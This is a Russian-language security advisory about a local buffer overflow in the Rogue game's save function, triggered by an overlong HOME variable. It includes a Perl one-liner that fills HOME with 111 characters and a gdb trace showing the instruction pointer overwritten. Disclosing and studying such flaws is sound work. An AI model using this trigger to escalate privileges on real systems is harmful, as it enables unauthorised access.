Дата публикации: | 27.02.2003 |
Всего просмотров: | 1318 |
Опасность: | Низкая |
Наличие исправления: | Нет |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | Локальная |
Воздействие: | Повышение привилегий |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | Rogue |
Описание: | Переполнение буфера обнаружено в Rogue. Локальный пользователь может получить дополнительные привилегии. Переполнение обнаружено в 'save game' в функции save_into_file() в save.c'. Локальный пользователь может представить специально сформированную переменную среды HOME и представить имя файла, которое начинается с тильды ('~') при записи игры. Rogue тильду содержанием HOME переменной, не проверяя при этом ее длину. Заполняя переменную HOME более 111 символов, локальный пользователь может переполнить буфер при записи чрезмерно длинного имени файла. Любой код будет выполнен с привилегиями группы 'games'. Пример: $ export HOME=`perl -e 'print "U" x 111;'` $ gdb rogue GNU gdb Red Hat Linux (5.2-2) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) r Starting program: /home/vsu/secwork/rogue/rogue [rogue session snipped] file name? ~A ~A-more- problem accessing the save file Program received signal SIGSEGV, Segmentation fault. 0x41555555 in ?? () (gdb) bt #0 0x41555555 in ?? () Cannot access memory at address 0x55555555 (gdb) i r eax 0x1f 31 ecx 0x656c69 6646889 edx 0xff646b68 -10196120 ebx 0x4213030c 1108542220 esp 0xbfffdd90 0xbfffdd90 ebp 0x55555555 0x55555555 esi 0x40013020 1073819680 edi 0xbfffde84 -1073750396 eip 0x41555555 0x41555555 eflags 0x10286 66182 |
Ссылки: | Rogue buffer overflow |